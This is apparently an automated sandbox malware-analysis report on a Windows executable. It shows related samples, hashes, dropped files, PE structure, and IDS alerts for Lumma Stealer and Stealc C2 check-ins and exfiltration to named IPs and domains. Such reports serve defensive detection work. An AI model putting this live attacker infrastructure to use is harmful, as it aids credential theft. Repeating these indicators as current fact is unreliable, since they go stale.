	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.16
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43
WHOLESALECONNECTIONSNL	Y41xQGmT37.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	O3u9C8cpzl.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	niwvNnBk2p.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.16
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Y41xQGmT37.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	O3u9C8cpzl.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	niwvNnBk2p.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	661fW9gxDp.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	S6oj0LoSiL.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	SEPTobn3BR.exe	Get hash	malicious	Remcos, DBatLoader	Browse	104.21.64.80
	Delivery Confirmation Forms - Contact Form TS4047117 pdf.exe	Get hash	malicious	DBatLoader, FormBook	Browse	104.21.64.80
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.64.80
	469oyXQbRY.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse	104.21.64.80

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Y41xQGmT37.exe	Get hash	malicious	LummaC, Stealc	Browse
	O3u9C8cpzl.exe	Get hash	malicious	LummaC, Stealc	Browse
	niwvNnBk2p.exe	Get hash	malicious	LummaC, Stealc	Browse
C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Y41xQGmT37.exe	Get hash	malicious	LummaC, Stealc	Browse
	O3u9C8cpzl.exe	Get hash	malicious	LummaC, Stealc	Browse
	niwvNnBk2p.exe	Get hash	malicious	LummaC, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe

Download File

Process:	C:\Users\user\Desktop\MFQbv2Yuzv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2856960
Entropy (8bit):	6.530872759765761
Encrypted:	false
SSDEEP:	24576:nLk+07DQLpG+lqM89oNkTf4qdbiw6PF1NP5Z5ksZ+fvy2oSnNvmAQ9SJLWsfNp6r:LWL+lw73QVFbyJoSQ9wL7T65qI+1k
MD5:	54FDA3AEEC860324D9E721BF82B9B350
SHA1:	872CA4ADE7427E03993C88062CB5AB0E277A42F5
SHA-256:	15EE29E0C43B3388D79D2202698A751AA77F6226F0F5249D118E6522115A2A18
SHA-512:	759CCDE261A42543CD5E829CD3FEC876ED14EEB888F1295680201A9640C039EC6423ADD1E96AD44C84B138F2CD4094E0EBBA9A0DF0580A5861D972A5CABB7EE1
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: Y41xQGmT37.exe, Detection: malicious, Browse Filename: O3u9C8cpzl.exe, Detection: malicious, Browse Filename: niwvNnBk2p.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........N...........@...........................O......},...@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@...wfoskafw..*...$...)..\|..............@...zpagxsbp......N......r+.............@....taggant.0....N.."...v+.............@...........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe

Download File

Process:	C:\Users\user\Desktop\MFQbv2Yuzv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1719808
Entropy (8bit):	7.9352026475450375
Encrypted:	false
SSDEEP:	49152:nsOhYiSSROeB/Jy2wWtlDfqDIerTqJznimPgJxl:1hh5LJy2wSftSmzXYH
MD5:	44C034B1AD003CD71788ED1DDE918242
SHA1:	5DA0B51A7C41EDEB1E1523528B848868B8890ED0
SHA-256:	B2759942F6A68E744EE51FB4518490BBD4499FBDA2E2F84DA4881781655CBDE9
SHA-512:	30196AD08AC5AEC1E780070AA94756ECA272F2509D3BF9BC2DB53C6150827040DC55396A6DC0ACA2619FB43634227AD60A94921B9A15A9A4A41A23365BCFAECA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: Y41xQGmT37.exe, Detection: malicious, Browse Filename: O3u9C8cpzl.exe, Detection: malicious, Browse Filename: niwvNnBk2p.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........`D.. ...`....@.. ........................D.....9\....`.................................U...i....`..D........................................................................................................... . .@... ....... ..............@....rsrc...D....`.......2..............@....idata . ...........6..............@... ..)..........8..............@...aviwlvzz.....`*......:..............@...ondpugpz. ...@D.....................@....taggant.@...`D.."..................@...........................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.945843966320269
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	MFQbv2Yuzv.exe
File size:	1'821'184 bytes
MD5:	81cfbdcd567c50d28a6380910dd6cf83
SHA1:	3fac13a3e2416853ce16ed6052ba91e4ec978c86
SHA256:	55cb3e812b8545ae08027c08bc3d8d0ffc8e6cd2854547a582ab3c4e2db88d1d
SHA512:	fd083c0ec0a95175ef05afb2c60cc1990b868d0a5db483372a294bda2955db7dbe586ab9c3633a7bbb2bfc6f478e09b2f5e04fae41393a626dbb53345fc81838
SSDEEP:	49152:vW/ovhCX0Gq//UWbO9501vl/YeUcWw30U9/hYjF:GsUOGtePWw30q6F
TLSH:	778533FB1C2A970FE8FC60B525CAB5DA0BF86A62102152C13B7B7CF1199513E69C7D84
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g.............................0H...........@..........................`H...........@.................................T0..h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x883000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x675F3CD1 [Sun Dec 15 20:32:17 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FE580CD873Ah
push gs
sbb eax, dword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FE580CDA735h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x53054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x52000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x531f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x51000	0x24800	da71f45ebdf5a82754652713bd5bfaf0	False	0.9974114404965754	data	7.985834501959229	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x52000	0x2b0	0x400	b1e85b1cd09caefc2d43268be72ef161	False	0.3603515625	data	5.183452444303608	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x53000	0x1000	0x200	19a29171433eeef17e42fd663f137134	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x54000	0x299000	0x200	fbb9c0ca644ad756d268edbddaf9f479	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
vqnwpprk	0x2ed000	0x195000	0x194200	d06ee26a9f442f2c3fa5c2d838d7c9fa	False	0.9947205816965666	data	7.952900162157075	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ngxqgdbs	0x482000	0x1000	0x600	7fb13c154f9597f6c53aff308b6838f2	False	0.5826822916666666	data	5.051491751527348	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x483000	0x3000	0x2200	e2a1de2c0ec8c1d44bd1c2d22c413db2	False	0.006433823529411764	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x52058	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-19T08:46:00.554576+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.6	62838	1.1.1.1	53	UDP
2024-12-19T08:46:00.700620+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.6	63640	1.1.1.1	53	UDP
2024-12-19T08:46:02.099402+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	49708	104.21.64.80	443	TCP
2024-12-19T08:46:02.099402+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49708	104.21.64.80	443	TCP
2024-12-19T08:46:03.098381+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49708	104.21.64.80	443	TCP
2024-12-19T08:46:03.098381+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49708	104.21.64.80	443	TCP
2024-12-19T08:46:04.320943+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	49710	104.21.64.80	443	TCP
2024-12-19T08:46:04.320943+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49710	104.21.64.80	443	TCP
2024-12-19T08:46:05.140813+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49710	104.21.64.80	443	TCP
2024-12-19T08:46:05.140813+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49710	104.21.64.80	443	TCP
2024-12-19T08:46:06.769445+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	49712	104.21.64.80	443	TCP
2024-12-19T08:46:06.769445+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49712	104.21.64.80	443	TCP
2024-12-19T08:46:09.059138+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	49718	104.21.64.80	443	TCP
2024-12-19T08:46:09.059138+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49718	104.21.64.80	443	TCP
2024-12-19T08:46:10.098073+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49718	104.21.64.80	443	TCP
2024-12-19T08:46:11.569481+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	49729	104.21.64.80	443	TCP
2024-12-19T08:46:11.569481+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49729	104.21.64.80	443	TCP
2024-12-19T08:46:14.138372+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	49736	104.21.64.80	443	TCP
2024-12-19T08:46:14.138372+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49736	104.21.64.80	443	TCP
2024-12-19T08:46:16.701323+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	49745	104.21.64.80	443	TCP
2024-12-19T08:46:16.701323+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49745	104.21.64.80	443	TCP
2024-12-19T08:46:20.384670+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	49757	104.21.64.80	443	TCP
2024-12-19T08:46:20.384670+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49757	104.21.64.80	443	TCP
2024-12-19T08:46:21.247371+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49757	104.21.64.80	443	TCP
2024-12-19T08:46:22.747601+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	49764	185.215.113.16	80	TCP
2024-12-19T08:46:39.954496+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49799	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 08:46:00.847606897 CET	49708	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:00.847656965 CET	443	49708	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:00.847732067 CET	49708	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:00.879391909 CET	49708	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:00.879421949 CET	443	49708	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:02.099292994 CET	443	49708	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:02.099401951 CET	49708	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:02.150131941 CET	49708	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:02.150173903 CET	443	49708	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:02.150490046 CET	443	49708	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:02.192131042 CET	49708	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:02.309637070 CET	49708	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:02.309737921 CET	49708	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:02.309767962 CET	443	49708	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:03.098385096 CET	443	49708	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:03.098476887 CET	443	49708	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:03.098536968 CET	49708	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:03.100868940 CET	49708	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:03.100888968 CET	443	49708	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:03.109657049 CET	49710	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:03.109690905 CET	443	49710	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:03.109780073 CET	49710	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:03.110245943 CET	49710	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:03.110259056 CET	443	49710	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:04.320844889 CET	443	49710	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:04.320943117 CET	49710	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:04.322196007 CET	49710	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:04.322212934 CET	443	49710	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:04.322479010 CET	443	49710	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:04.323678970 CET	49710	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:04.323714972 CET	49710	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:04.323745966 CET	443	49710	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:05.140867949 CET	443	49710	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:05.141010046 CET	443	49710	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:05.141045094 CET	443	49710	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:05.141057968 CET	49710	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:05.141091108 CET	443	49710	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:05.141132116 CET	49710	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:05.141719103 CET	443	49710	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:05.142426968 CET	443	49710	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:05.142473936 CET	49710	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:05.142488003 CET	443	49710	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:05.151881933 CET	443	49710	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:05.151927948 CET	49710	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:05.151937962 CET	443	49710	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:05.160300016 CET	443	49710	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:05.160343885 CET	49710	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:05.160360098 CET	443	49710	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:05.203999043 CET	49710	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:05.260248899 CET	443	49710	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:05.301621914 CET	49710	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:05.301640987 CET	443	49710	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:05.336045980 CET	443	49710	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:05.336088896 CET	443	49710	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:05.336148024 CET	49710	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:05.336160898 CET	443	49710	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:05.336184025 CET	443	49710	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:05.336314917 CET	49710	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:05.336314917 CET	49710	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:05.336447001 CET	49710	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:05.336462021 CET	443	49710	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:05.336477995 CET	49710	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:05.336483955 CET	443	49710	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:05.549432993 CET	49712	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:05.549474001 CET	443	49712	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:05.549542904 CET	49712	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:05.549932957 CET	49712	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:05.549943924 CET	443	49712	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:06.769381046 CET	443	49712	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:06.769444942 CET	49712	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:06.772419930 CET	49712	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:06.772429943 CET	443	49712	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:06.772702932 CET	443	49712	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:06.774276018 CET	49712	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:06.774565935 CET	49712	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:06.774600983 CET	443	49712	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:07.703635931 CET	443	49712	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:07.703905106 CET	443	49712	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:07.703990936 CET	49712	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:07.704157114 CET	49712	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:07.704169989 CET	443	49712	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:07.837858915 CET	49718	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:07.837898016 CET	443	49718	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:07.837960958 CET	49718	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:07.838275909 CET	49718	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:07.838290930 CET	443	49718	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:09.058938026 CET	443	49718	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:09.059138060 CET	49718	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:09.060739994 CET	49718	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:09.060753107 CET	443	49718	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:09.061080933 CET	443	49718	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:09.062717915 CET	49718	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:09.062869072 CET	49718	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:09.062911987 CET	443	49718	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:09.063003063 CET	49718	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:09.107327938 CET	443	49718	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:10.097806931 CET	443	49718	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:10.098081112 CET	443	49718	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:10.098170042 CET	49718	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:10.098315001 CET	49718	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:10.098339081 CET	443	49718	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:10.356110096 CET	49729	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:10.356159925 CET	443	49729	104.21.64.80	192.168.2.6
